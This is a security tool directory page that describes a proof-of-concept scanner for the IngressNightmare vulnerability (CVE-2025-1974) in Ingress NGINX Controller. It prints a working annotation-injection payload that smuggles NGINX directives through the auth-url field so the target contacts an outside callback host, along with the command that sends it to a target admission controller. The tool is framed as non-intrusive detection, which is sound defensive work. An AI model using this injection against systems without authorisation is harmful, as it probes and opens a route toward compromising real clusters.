Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ingressnightmare-detection-poc — Proof-of-Concept Tool to detect IngressNightmare (CVE-2025-1974) via (non-intrusive) active means. | Kitploit
Tools/GitHubGitHub/m-q-t/ingressnightmare-detection-poc
Vulnerability ScannersExploitationWeb SecurityPenetration TestingCloud SecurityMisconfiguration
GitHubm-q-t/ingressnightmare-detection-poc

ingressnightmare-detection-poc

Proof-of-Concept Tool to detect IngressNightmare (CVE-2025-1974) via (non-intrusive) active means.

View Repository
31 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

IngressNightmare Detection Tool

Overview

This tool provides a non-intrusive detection capability for the IngressNightmare vulnerability chain (CVE-2025-1974) affecting Ingress NGINX Controller. It specifically leverages the auth-url annotation injection vector (CVE-2025-24514) to verify the presence of this critical vulnerability without executing arbitrary code.

Technical Background

The IngressNightmare vulnerability chain allows attackers to inject arbitrary NGINX configuration directives through various Ingress annotation fields. When these malicious Ingress resources are processed by the admission controller, the injected directives are evaluated during the NGINX configuration validation phase (nginx -t).

This PoC specifically exploits the auth-url annotation vulnerability by injecting the error_log directive with a syslog server pointing to an attacker-controlled domain. During configuration validation, NGINX will:

  1. Parse the injected configuration
  2. Resolve the specified domain via DNS

This DNS resolution activity provides a reliable signal that the target is vulnerable without requiring code execution or service disruption.

Usage

  1. Establish a DNS callback listener using Burp Collaborator, interactsh, or any DNS monitoring service.

  2. Execute the detection tool:

    root@kitploit:~
    $ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com 
    
  3. If vulnerable, you will observe DNS resolution attempts to your DNS callback domain:

poc

Detection Methodology

The tool crafts a specially formed AdmissionReview object containing an Ingress resource with the following injection payload:

root@kitploit:~
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"

This payload:

  • Uses the comment character (#) to terminate the URL
  • Injects a newline followed by a resolver directive
  • Adds the error_log directive with syslog pointing to the DNS callback domain
  • Comments out the remainder to maintain syntactic validity

When processed by a vulnerable admission controller, this results in an outbound DNS lookup that confirms the presence of the vulnerability.

Limitations

This tool only detects the presence of the vulnerability and does not attempt to exploit it for arbitrary code execution.

Credits

https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities

Download Tool